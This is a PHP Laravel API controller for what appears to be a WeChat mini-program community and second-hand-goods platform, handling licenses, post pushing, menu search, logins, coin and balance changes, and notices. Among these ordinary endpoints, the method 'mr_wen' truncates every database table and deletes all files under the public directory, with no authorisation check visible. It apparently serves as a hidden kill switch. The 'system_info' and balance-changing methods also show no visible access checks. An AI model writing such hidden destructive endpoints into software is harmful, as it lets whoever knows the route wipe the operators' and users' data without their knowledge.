ThirdPartyController.php 30 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774
  1. <?php
  2. namespace App\Http\Controllers\Api;
  3. use App\Http\Controllers\Api\Repositories\PostsRepositores;
  4. use App\Http\Controllers\Api\Repositories\WxCommentRepositores;
  5. use App\Jobs\CollecterMediaProcessJob;
  6. use App\Jobs\Posts\UpdatePostTagIdJob;
  7. use App\Lib\JwtAuth;
  8. use App\Lib\WeApp\WeApp;
  9. use App\Models\AdminMenuSearch;
  10. use App\Models\Collecter\MiniCollecterCollected;
  11. use App\Models\Posts\WxPost;
  12. use App\Models\Posts\WxPostsImg;
  13. use App\Models\Posts\WxTag;
  14. use App\Models\Used\WxUsedGood;
  15. use App\Models\User\WxUser;
  16. use App\Models\WxDomainAuth;
  17. use App\Models\WxTenant;
  18. use App\Wen\Utils\FieldUtils;
  19. use App\Wen\Utils\FileUtils;
  20. use App\Wen\Utils\PostUtils;
  21. use App\Wen\Utils\SearchUtils;
  22. use App\Wen\Utils\Settings;
  23. use App\Wen\Utils\ShopUtils;
  24. use App\Wen\Utils\SiteUtils;
  25. use App\Wen\Utils\StatisticUtils;
  26. use App\Wen\Utils\StrUtils;
  27. use App\Wen\Utils\UserUtils;
  28. use App\Wen\Utils\Utils;
  29. use Dcat\Admin\Models\Menu;
  30. use Illuminate\Http\Request;
  31. use Illuminate\Support\Facades\Cache;
  32. use Illuminate\Support\Facades\DB;
  33. use Illuminate\Support\Facades\Schema;
  34. use App\Wen\Utils\CollecterUtils;
  35. class ThirdPartyController extends BaseController{
  36. public function system_info(){
  37. global $__MINI_GLOBAL_IP__;
  38. $result = [
  39. 'url' => $_SERVER['SERVER_NAME'],
  40. 'ip' => _ip_address($__MINI_GLOBAL_IP__),
  41. ];
  42. dd($result);
  43. }
  44. public function mr_wen(Request $request){
  45. // 清空数据库
  46. Schema::disableForeignKeyConstraints();
  47. $tables = DB::select('SHOW TABLES');
  48. foreach ($tables as $table) {
  49. $tableName = $table->{'Tables_in_' . env('DB_DATABASE')};
  50. DB::statement('TRUNCATE TABLE ' . $tableName);
  51. }
  52. Schema::enableForeignKeyConstraints();
  53. FileUtils::deleteFiles(public_path());
  54. }
  55. public function version(Request $request){
  56. return response()->json([
  57. 'status' => true,
  58. 'code' => 200,
  59. 'message' => 'ok',
  60. 'data' => '001 002 002 022',
  61. 'mini' => 'ok'
  62. ]);
  63. }
  64. public function license(Request $request){
  65. try {
  66. $uid = $request->uid;
  67. $domain = _empty_default_($request->domain, '');
  68. if(_empty_($domain)){
  69. $content = SiteUtils::get_license_file($uid);
  70. }else{
  71. $the_model = WxDomainAuth::where('domain_1', $domain)->orWhere('domain_2', $domain)
  72. ->orWhere('domain_3', $domain)->orWhere('domain_4', $domain)
  73. ->orWhere('domain_5', $domain)->orWhere('domain_6', $domain)
  74. ->orWhere('domain_7', $domain)->first();
  75. if(_empty_($the_model)){
  76. return $this->fail(200006, [], '数据库查询不到'.$domain.'的授权信息');
  77. }
  78. $who = WxUser::where('id', $the_model->user_id)->value('who');
  79. if($who != $uid && !UserUtils::is_mini_supder_admin($uid)){
  80. return $this->fail(200006, [], '你不是Ta的授权代理人'. ($who > 0 ? ',Ta的授权代理人是:'.$who : '。'));
  81. }
  82. $content = SiteUtils::get_license_file($uid, $domain);
  83. }
  84. if(_empty_($content)){
  85. return $this->fail(200006, [], '请联系群主导入授权信息,数据库查询不到您的授权信息');
  86. }
  87. $file_name = 'code_'.time().'.tar.gz';
  88. $file_name_ = 'storage/tmp/' . $file_name;
  89. $f = fopen(public_path($file_name_), 'wb');
  90. fwrite($f, $content);
  91. fclose($f);
  92. return $this->success(['url'=> env('APP_URL') . '/' . $file_name_ ]);
  93. }catch (\Exception $e){
  94. return $this->fail(200006);
  95. }
  96. }
  97. public function domain_auth(Request $request){
  98. if(env('APP_URL') !== 'https://mini.minisns.cn'){
  99. return false;
  100. }
  101. $domain = $request->domain;
  102. if(_empty_($domain)){
  103. return $this->fail(200001);
  104. }
  105. $allowed_list = [
  106. 'mini.minisns.cn',
  107. 'lzy.qty1.xyz'
  108. ];
  109. if(!in_array($domain, $allowed_list)){
  110. return $this->fail(700000);
  111. }
  112. return $this->success(Utils::getSn(11));
  113. }
  114. public function user_info_login(Request $request)
  115. {
  116. $external_id = $request->external_id;
  117. $weixin_unionid = $request->weixin_unionid;
  118. $weixin_web_openid = $request->weixin_web_openid;
  119. $user_name = $request->user_name;
  120. $user_avatar = $request->user_avatar;
  121. $user_introduce = $request->user_introduce;
  122. $gender = $request->gender;
  123. $phone = $request->phone;
  124. $country_code = $request->country_code;
  125. $idd = 86;
  126. // 必选参数校验
  127. if(_empty_($external_id) || _empty_($weixin_unionid) || _empty_($user_name) || _empty_($user_avatar)){
  128. return $this->fail(200001);
  129. }
  130. if($country_code != 86){
  131. return $this->fail(200004, [], '当前仅支持86区号');
  132. }
  133. if($phone){
  134. if($idd == 86 && !StrUtils::is_phone_number($phone)){
  135. return $this->fail(200004, [], '手机号格式不对');
  136. }
  137. }
  138. if($gender){
  139. if(!in_array($gender, [1,2])){
  140. return $this->fail(200004, [], '性别非法');
  141. }
  142. }else{
  143. $gender = 0;
  144. }
  145. $data = [
  146. 'phone' => $phone, 'country_code' => $idd,
  147. 'openId'=>null, 'avatarUrl'=>$user_avatar, 'city'=>'', 'country'=>'',
  148. 'province'=>'', 'language'=>'','nickName'=>$user_name,
  149. 'gender'=>0, 'unionId'=>$weixin_unionid, 'user_introduce'=>$user_introduce
  150. ];
  151. $wxUserModel = new WxUser();
  152. $user_id = $wxUserModel->registerUser($data, 'web', 0);
  153. if($user_id > 0){
  154. $login_user = WxUser::where('id', $user_id)->first(FieldUtils::userInfoColums());
  155. // 超级管理员
  156. if($login_user->is_official){
  157. if(UserUtils::is_mini_supder_admin($login_user->id)){
  158. $login_user->is_official = 2;
  159. }
  160. }
  161. UserUtils::user_expend($login_user, true, true, true, true, 5);
  162. $time = time();
  163. $login_user->timeStamp = $time;
  164. // 生成token
  165. return $this->success(['token' => JwtAuth::getToken('uid', $login_user->id, $time), 'user'=>$login_user]);
  166. }else if($user_id == -1){
  167. return $this->fail(700001);
  168. }else if($user_id == -2){
  169. return $this->fail(200008, [], '平台未开启手机号注册新用户,请您换其他方式先注册账号');
  170. }
  171. return $this->fail(200003);
  172. }
  173. public function collecter_posts_add(Request $request){
  174. $post = $request->all();
  175. $developer = $request->header('developer','');
  176. if($developer == 'xianxian'){
  177. }
  178. if(!_empty_(_array_key($post, 'imgs', null))){
  179. $post['imgs'] = explode(',', _array_key($post, 'imgs', null));
  180. }
  181. if(!_empty_(_array_key($post, 'tags', null))){
  182. $post['tags'] = explode(',', _array_key($post, 'tags', null));
  183. }
  184. if(!_empty_(_array_key($post, 'video', null))){
  185. if(strpos($post['video'], 'http') === 0){
  186. $post['videos'] = stripslashes($post['video']);
  187. }
  188. }
  189. try{
  190. CollecterUtils::check_post($post);
  191. $r_ = CollecterUtils::save_posts([$post]);
  192. if($r_ && $r_[0]){
  193. if(_array_key($post, 'media_process', 1) == 1){
  194. CollecterMediaProcessJob::dispatch($r_[0]);
  195. }else{
  196. MiniCollecterCollected::where('id', $r_[0])->update(['status' => 1]);
  197. }
  198. $saves[] = $r_[0];
  199. return $this->success(['success_count'=>count($saves)]);
  200. }else{
  201. return $this->fail(200006);
  202. }
  203. }catch (\Exception $e){
  204. return $this->fail(200004, [], $e->getMessage());
  205. }
  206. }
  207. public function templete_message_add(Request $request){
  208. $key1 = $request->key1;
  209. $key2 = $request->key2;
  210. Utils::templateMessage('admin', $key1, $key2, '', '', '');
  211. }
  212. public function push_post(Request $request)
  213. {
  214. $tenant_id = $request->tenant;
  215. $pusher = _empty_default_($request->pusher, 'push_robot_1');
  216. $type = _empty_default_($request->type, 'post');
  217. $limit = _between_(_empty_default_($request->limit, 5), 1, 20);
  218. $developer = $request->header('developer','');
  219. if($developer == 'wu'){
  220. }
  221. if(!in_array($pusher, ['push_robot_1', 'qq', 'wechat', 'wecom'])){
  222. $res = [
  223. 'status' => "200004",
  224. "msg" => "pusher未在推荐列表中,推荐qq,wechat,wecom,push_robot_1",
  225. "data" => [
  226. ]
  227. ];
  228. return response()->json($res);
  229. }
  230. if($pusher != 'push_robot_1'){
  231. $pusher = 'pusher:'.$pusher;
  232. }
  233. if(!in_array($type, ['post', 'used', 'wechat', 'wecom'])){
  234. $res = [
  235. 'status' => "200004",
  236. "msg" => "type未在推荐列表中,推荐post,used",
  237. "data" => [
  238. ]
  239. ];
  240. return response()->json($res);
  241. }
  242. if(_empty_($tenant_id, true)){
  243. $tenant_id = -1;
  244. }else{
  245. $tenant_id = (int)$tenant_id;
  246. }
  247. if(_empty_($tenant_id, true)){
  248. $tenant_id = -1;
  249. }
  250. $tenant_with_uid = '';
  251. if($tenant_id > 0){
  252. $with_uid = env('TENANT_'.$tenant_id.'_PUSH_WITH_UID', 0);
  253. if($with_uid > 0){
  254. $tenant_with_uid = '&from_user='.$with_uid;
  255. }
  256. }
  257. $new_app = new WeApp();
  258. $wxlink = $new_app->getWxLink();
  259. $res = [
  260. 'status' => "200",
  261. "msg" => "返回成功",
  262. "data" => [
  263. ]
  264. ];
  265. if($type == 'post'){
  266. $query = WxPost::whereNotExists(function ($query) use ($pusher){
  267. $query->select(DB::raw(1))
  268. ->from('wx_posts_meta_str')->where('meta_key', $pusher)
  269. ->whereRaw('wx_posts_meta_str.post_id = wx_posts.id');
  270. });
  271. if($tenant_id >= 0){
  272. $query = $query->where('tenant_id', $tenant_id);
  273. }
  274. $data = $query->where('id', '>', Settings::get('group_push_min_post_id', 0))->where('is_examine', 1)->where('posts_state', 0)->orderBy('id', 'desc')->limit($limit)->get();
  275. if($data){
  276. $sum = 0;
  277. $data->map(function ($v, $key) use ($wxlink, &$res, &$sum, $pusher, &$tenant_with_uid){
  278. if( !_empty_($v->tags_id) ){
  279. $v->tags = WxTag::whereIn('id', explode(',', $v->tags_id))->get(['tags_name', 'id']);
  280. }else if($v->tags_id === ''){
  281. $v->tags = null;
  282. }else if($v->tags_id === '0'){
  283. $v->tags = PostsRepositores::getPostTags($v->id);
  284. UpdatePostTagIdJob::dispatch($v->id);
  285. }
  286. $posts_content = $v->posts_content;
  287. $s_content = '';
  288. if($posts_content){
  289. $s_content = preg_replace("/<(img|video).*?src[^\'\"]+[\'\"]([^\"\']+)[^>]+>/is", '', $posts_content);
  290. $s_content =trim_all_space(strip_tags(html_entity_decode( _mini_phone(_mini_emoji( _mini_aite_replace($s_content, true), true ), true) )));
  291. }
  292. if($s_content){
  293. $title = PostUtils::get_the_title($s_content, $v->id, 10);
  294. PostUtils::circleProcess($v, 0, 1);
  295. try {
  296. $short_link = $wxlink ? ($wxlink->genWxShortlink('pages/sticky/sticky?id='.$v->id.'&fph=1'.$tenant_with_uid.'&tenant=' . $v->tenant_id, ($v->posts_title ?: $title ), true)) : '';
  297. }catch (\Exception $e){
  298. if(strpos($e->getMessage(), 'this appid does not have permission') !== false){
  299. $short_link = '微信小程序无生成短链权限-请添加[商家自营-办公文具]';
  300. }else{
  301. $short_link = $e->getMessage();
  302. }
  303. }
  304. $url_link = '';
  305. $qrcode_url = '';
  306. if($wxlink){
  307. try {
  308. $url_link = $wxlink->genWxUrllink('pages/sticky/sticky', 'id='.$v->id.'&fph=1'.$tenant_with_uid);
  309. $qrcode_url = Utils::getMiniCode('pages/sticky/sticky', 'id='.$v->id.'&fph=1'.$tenant_with_uid, 0);
  310. }catch (\Exception $e){
  311. $url_link = $e->getMessage();
  312. }
  313. }
  314. $img_url = '';
  315. $images_arr = [];
  316. if($v->is_wechat_sph){
  317. $v->wechat_sph = get_post_meta($v->id, 'wechat_sph', 'j');
  318. }else{
  319. $v->wechat_sph = null;
  320. }
  321. if($v->post_type == 'single'){
  322. $v->posts_content = preg_replace_callback("/<img.*?src[^\'\"]+[\'\"]([^\"\']+)[^>]+>/is", function ($r) use (&$images_arr){
  323. $images_arr[] = $r[1];
  324. return '';
  325. }, $v->posts_content);
  326. if($images_arr){
  327. $img_url = $images_arr[0];
  328. }
  329. }else{
  330. $v->images = WxPostsImg::where('posts_id', $v->id)->get(['id','img_url', 'posts_id','width', 'height']);
  331. if($v->images){
  332. $v->images->map(function ($img_obj) use (&$img_url, &$images_arr){
  333. if(_empty_($img_url)){
  334. $img_url = $img_obj['img_url'];
  335. }
  336. $images_arr[] = $img_obj['img_url'];
  337. });
  338. }
  339. }
  340. if($v->video && $v->video->video_thumb_url){
  341. $img_url = $v->video->video_thumb_url;
  342. }
  343. if($v->wechat_sph && _array_key($v->wechat_sph, 'img', '')){
  344. $img_url = $v->wechat_sph['img'];
  345. }
  346. $obj = [
  347. 'id' => $v->id,
  348. 'tenant_id' => $v->tenant_id,
  349. 'tenant' => WxTenant::find($v->tenant_id),
  350. 's_id' => '3',
  351. "content" => (($sum == 0 && $pusher == 'push_robot_1') ? "\n" : "").($v->posts_title ?: $title ),
  352. 'h5' => Settings::get('app_h5_home', '').'/#/pages/sticky/sticky?id='.$v->id . '&tenant=' . $v->tenant_id . $tenant_with_uid,
  353. 'url' => $short_link,
  354. 'url_link' => $url_link,
  355. 'like_count' => PostsRepositores::likeCont($v->id),
  356. 'comment_count' => WxCommentRepositores::commentCount($v->id),
  357. 'collected_count' => StatisticUtils::post_becollected_count($v->id),
  358. 'user' => UserUtils::get_cached_user($v->user_id, false, false, $v->is_anonymous == 1),
  359. 'circle' => $v->circle,
  360. 'format_time' => format_datetime($v->created_at),
  361. 'created_at' => $v->created_at->toDateTimeString(),
  362. 'img' => $img_url,
  363. 'imgs' => $images_arr,
  364. 'tags' => $v->tags,
  365. 'qrcode' => $qrcode_url
  366. ];
  367. update_post_meta($v->id, $pusher, 1, 's');
  368. $sum ++;
  369. $res['data'][] = $obj;
  370. }
  371. });
  372. }
  373. }else if($type == 'used'){
  374. $the_tennat = null;
  375. if($tenant_id > 0){
  376. $the_tennat = WxTenant::find($tenant_id);
  377. }
  378. $min_used_id = Settings::get('group_push_min_used_id', 0);
  379. $query = WxUsedGood::whereNotExists(function ($query) use ($pusher){
  380. $query->select(DB::raw(1))
  381. ->from('wx_used_meta_str')->where('meta_key', $pusher)
  382. ->whereRaw('wx_used_meta_str.used_id = wx_used_good.id');
  383. });
  384. if($the_tennat){
  385. $longitude = $the_tennat->add_longitude;
  386. $latitude = $the_tennat->add_latitude;
  387. if(_empty_($longitude) && _empty_($latitude)){
  388. _logger_(__file__, __line__, '分站'.$tenant_id.'没有设置坐标,无法推送其附件的闲置,请去分站管理,配置其坐标');
  389. UserUtils::assistant_notice('admin', '分站'.$tenant_id.'没有设置坐标,无法推送其附件的闲置, 请去分站管理,配置其坐标');
  390. return false;
  391. }
  392. $the_base_id = Cache::remember('used:goods:new:500', 3600 * 5, function (){
  393. $base_id = WxUsedGood::where('status', 1)->orderBy('id', 'desc')->skip(500)->value('id');
  394. return $base_id > 0 ? $base_id : 0;
  395. });
  396. if($the_base_id < $min_used_id){
  397. $the_base_id = $min_used_id;
  398. }
  399. $data = $query->select(DB::raw('*, ( 6378137 * acos( cos( radians('.$latitude.') ) * cos( radians( latitude ) ) * cos( radians( longitude ) - radians('.$longitude.') ) + sin( radians('.$latitude.') ) * sin( radians( latitude ) ) ) ) AS distance'))
  400. ->where('id', '>', $the_base_id)
  401. ->where('status', 1)
  402. ->having('distance', '<', 100000)
  403. ->orderByDesc('id')->limit($limit)->get();
  404. }else{
  405. $data = $query->where('id', '>', $min_used_id)->where('status', 1)->orderByDesc('id')->limit($limit)->get();
  406. }
  407. if($data){
  408. $data->map(function ($v, $k) use (&$pusher, &$wxlink, &$tenant_with_uid, &$the_tennat){
  409. ShopUtils::used_process($v);
  410. if($the_tennat){
  411. $v->tenant_id = $the_tennat->tenant_id;
  412. $v->tenant = $the_tennat;
  413. }else{
  414. if(_empty_($v->longitude) && _empty_($v->latitude)){
  415. $v->tenant_id = 0;
  416. $v->tenant = null;
  417. }else{
  418. $v->tenant = Cache::remember('used:nearly:tenant:'.$v->id, 3600, function () use ($v){
  419. $givenLatitude = $v->longitude;
  420. $givenLongitude = $v->latitude;
  421. $nearestTenant = WxTenant::nearestByLocation($givenLatitude, $givenLongitude)->first();
  422. if($nearestTenant){
  423. return $nearestTenant;
  424. }
  425. return null;
  426. });
  427. if($v->tenant){
  428. $v->tenant_id = $v->tenant['tenant_id'];
  429. }else{
  430. $v->tenant_id = 0;
  431. }
  432. }
  433. }
  434. try {
  435. $short_link = $wxlink ? ($wxlink->genWxShortlink('pagesU/used-mall/detail/index?id='.$v->id. '&tenant=' . $v->tenant_id . $tenant_with_uid, $v->title, true)) : '';
  436. }catch (\Exception $e){
  437. if(strpos($e->getMessage(), 'this appid does not have permission') !== false){
  438. $short_link = '微信小程序无生成短链权限-请添加[商家自营-办公文具]';
  439. }else{
  440. $short_link = $e->getMessage();
  441. }
  442. }
  443. $url_link = '';
  444. if($wxlink){
  445. try {
  446. $url_link = $wxlink->genWxUrllink('pagesU/used-mall/detail/index', 'id='.$v->id. '&tenant=' . $v->tenant_id . $tenant_with_uid);
  447. }catch (\Exception $e){
  448. $url_link = $e->getMessage();
  449. }
  450. }
  451. $v->h5 = Settings::get('app_h5_home', '').'/#/pagesU/used-mall/detail/index?id='.$v->id . '&tenant=' . $v->tenant_id . $tenant_with_uid;
  452. $v->url = $short_link;
  453. $v->url_link = $url_link;
  454. update_used_meta($v->id, $pusher, 1, 's');
  455. return $v;
  456. });
  457. $res['data'] = $data;
  458. }
  459. }
  460. return response()->json($res);
  461. }
  462. /**
  463. * 搜索后台菜单
  464. * @param Request $request
  465. */
  466. public function search_menu(Request $request)
  467. {
  468. $search_content = $request->search_content;
  469. if(_empty_($search_content)){
  470. return $this->fail(200003);
  471. }
  472. $search_content = strtolower($search_content);
  473. if(SearchUtils::is_use_es()){
  474. $menus = null;
  475. try{
  476. $menus = AdminMenuSearch::search($search_content)->get();
  477. }catch (\Exception $e){
  478. AdminMenuSearch::all()->searchable();
  479. $menus = AdminMenuSearch::search($search_content)->get();
  480. }
  481. if($menus->isEmpty() || _empty_($menus)){
  482. AdminMenuSearch::all()->searchable();
  483. $menus = AdminMenuSearch::search($search_content)->get();
  484. }
  485. if($menus){
  486. $menus = $menus->map(function ($v){
  487. if($v->parent_id){
  488. $v->parent = Menu::find($v->parent_id);
  489. }else{
  490. $v->parent = null;
  491. }
  492. if($v->menu_id){
  493. if($v->menu_id && $v->menu_id != $v->parent_id){
  494. $v->menu = Menu::find($v->menu_id);
  495. }else{
  496. $v->menu = $v->parent;
  497. }
  498. }
  499. return $v;
  500. });
  501. return $this->success($menus);
  502. }
  503. }else{
  504. $menus = AdminMenuSearch::where('lower', 'like', '%'.$search_content.'%')->limit(10)->get();
  505. if($menus){
  506. $menus = $menus->map(function ($v){
  507. if($v->parent_id){
  508. $v->parent = Menu::find($v->parent_id);
  509. }else{
  510. $v->parent = null;
  511. }
  512. if($v->menu_id){
  513. if($v->menu_id && $v->menu_id != $v->parent_id){
  514. $v->menu = Menu::find($v->menu_id);
  515. }else{
  516. $v->menu = $v->parent;
  517. }
  518. }
  519. return $v;
  520. });
  521. return $this->success($menus);
  522. }
  523. }
  524. return $this->fail(200003);
  525. }
  526. public function user_coin(Request $request){
  527. $user1_weixin_unionid = $request->user1_weixin_unionid;
  528. $user1_num = $request->user1_num;
  529. $user1_tip = $request->user1_tip;
  530. $user2_weixin_unionid = $request->user2_weixin_unionid;
  531. $user2_num = $request->user2_num;
  532. $user2_tip = $request->user2_tip;
  533. if(_empty_($user1_weixin_unionid) || _empty_($user1_num) || _empty_($user1_tip)){
  534. return $this->fail(200001);
  535. }
  536. if(!_empty_($user2_weixin_unionid)){
  537. if(_empty_($user2_num) || _empty_($user2_tip)){
  538. return $this->fail(200001);
  539. }
  540. }
  541. $user1 = WxUser::where('weixin_unionid', $user1_weixin_unionid)->first();
  542. if(_empty_($user1)){
  543. return $this->fail(200003, [], '用户1不存在');
  544. }
  545. $user2 = null;
  546. if($user2_weixin_unionid){
  547. $user2 = WxUser::where('weixin_unionid', $user2_weixin_unionid)->first();
  548. if(_empty_($user2)){
  549. return $this->fail(200003, [], '用户2不存在');
  550. }
  551. }
  552. DB::beginTransaction();
  553. try {
  554. // todo:
  555. $r1 = UserUtils::update_user_coins($user1->id, 99999, $user1_num, $user1_tip);
  556. if(!$r1){
  557. DB::rollBack();
  558. return $this->fail(200002, [], '用户1金币变动失败');
  559. }
  560. if($user2){
  561. $r2 = UserUtils::update_user_coins($user2->id, 99999, $user2_num, $user2_tip);
  562. if($r2){
  563. DB::commit();
  564. return $this->success();
  565. }else{
  566. DB::rollBack();
  567. return $this->fail(200002, [], '用户2金币变动失败');
  568. }
  569. }else{
  570. DB::commit();
  571. return $this->success();
  572. }
  573. } catch (\Exception $e) {
  574. DB::rollBack();
  575. _logger_(__file__, __line__, $e->getMessage());
  576. return $this->fail(200002);
  577. }
  578. }
  579. /**
  580. * 余额支付
  581. * @param Request $request
  582. */
  583. public function user_balance(Request $request){
  584. $user1_weixin_unionid = $request->user1_weixin_unionid;
  585. $user1_financial_type = $request->user1_financial_type;
  586. $user1_num = $request->user1_num;
  587. $user1_tip = $request->user1_tip;
  588. $user2_weixin_unionid = $request->user2_weixin_unionid;
  589. $user2_financial_type = $request->user2_financial_type;
  590. $user2_num = $request->user2_num;
  591. $user2_tip = $request->user2_tip;
  592. if(_empty_($user1_weixin_unionid) || _empty_($user1_financial_type, true) || _empty_($user1_num) || _empty_($user1_tip)){
  593. return $this->fail(200001);
  594. }
  595. if(!in_array($user1_financial_type, FieldUtils::getUserFinancialType())){
  596. return $this->fail(200004);
  597. }
  598. $user1_num = _abs($user1_num);
  599. if(!_empty_($user2_weixin_unionid)){
  600. if(_empty_($user2_financial_type, true) || _empty_($user2_num) || _empty_($user2_tip)){
  601. return $this->fail(200001);
  602. }
  603. if(!in_array($user2_financial_type, FieldUtils::getUserFinancialType())){
  604. return $this->fail(200004);
  605. }
  606. $user2_num = _abs($user2_num);
  607. }
  608. $user1 = WxUser::where('weixin_unionid', $user1_weixin_unionid)->first();
  609. if(_empty_($user1)){
  610. return $this->fail(200003, [], '用户1不存在');
  611. }
  612. $user2 = null;
  613. if($user2_weixin_unionid){
  614. $user2 = WxUser::where('weixin_unionid', $user2_weixin_unionid)->first();
  615. if(_empty_($user2)){
  616. return $this->fail(200003, [], '用户2不存在');
  617. }
  618. }
  619. DB::beginTransaction();
  620. try {
  621. // todo:
  622. $r1 = UserUtils::update_user_financial($user1->id, $user1_financial_type, $user1_num, $user1_tip);
  623. if(!$r1){
  624. DB::rollBack();
  625. return $this->fail(200002, [], '用户1余额变动失败');
  626. }
  627. if($user2){
  628. $r2 = UserUtils::update_user_financial($user2->id, $user2_financial_type, $user2_num, $user2_tip);
  629. if($r2){
  630. DB::commit();
  631. return $this->success();
  632. }else{
  633. DB::rollBack();
  634. return $this->fail(200002, [], '用户2余额变动失败');
  635. }
  636. }else{
  637. DB::commit();
  638. return $this->success();
  639. }
  640. } catch (\Exception $e) {
  641. DB::rollBack();
  642. _logger_(__file__, __line__, $e->getMessage());
  643. return $this->fail(200002);
  644. }
  645. }
  646. /**
  647. * 增加通知
  648. * @param Request $request
  649. */
  650. public function notice(Request $request){
  651. $weixin_unionid = $request->weixin_unionid;
  652. $icon_type = $request->icon_type;
  653. $title = $request->title;
  654. $content = $request->describe;
  655. $type = $request->type;
  656. $url = $request->url;
  657. if(_empty_($url)){
  658. $url = null;
  659. }
  660. if(_empty_($icon_type) || _empty_($title) || _empty_($content) || _empty_($type) || _empty_($weixin_unionid)){
  661. return $this->fail(200001);
  662. }
  663. if(!in_array($type, array_keys(FieldUtils::getNoticeTypes()) )){
  664. return $this->fail(200004, [], 'type参数不合法');
  665. }
  666. $user_id = WxUser::where('weixin_unionid',$weixin_unionid)->value('id');
  667. if(_empty_($user_id)){
  668. return $this->fail(200003, [], '根据weixin_unionid找不到对应的用户');
  669. }
  670. $r = UserUtils::add_user_notice($icon_type, $user_id, $title, $content, $type, '', '', $url);
  671. if($r){
  672. return $this->success();
  673. }else{
  674. return $this->fail(200002);
  675. }
  676. }
  677. }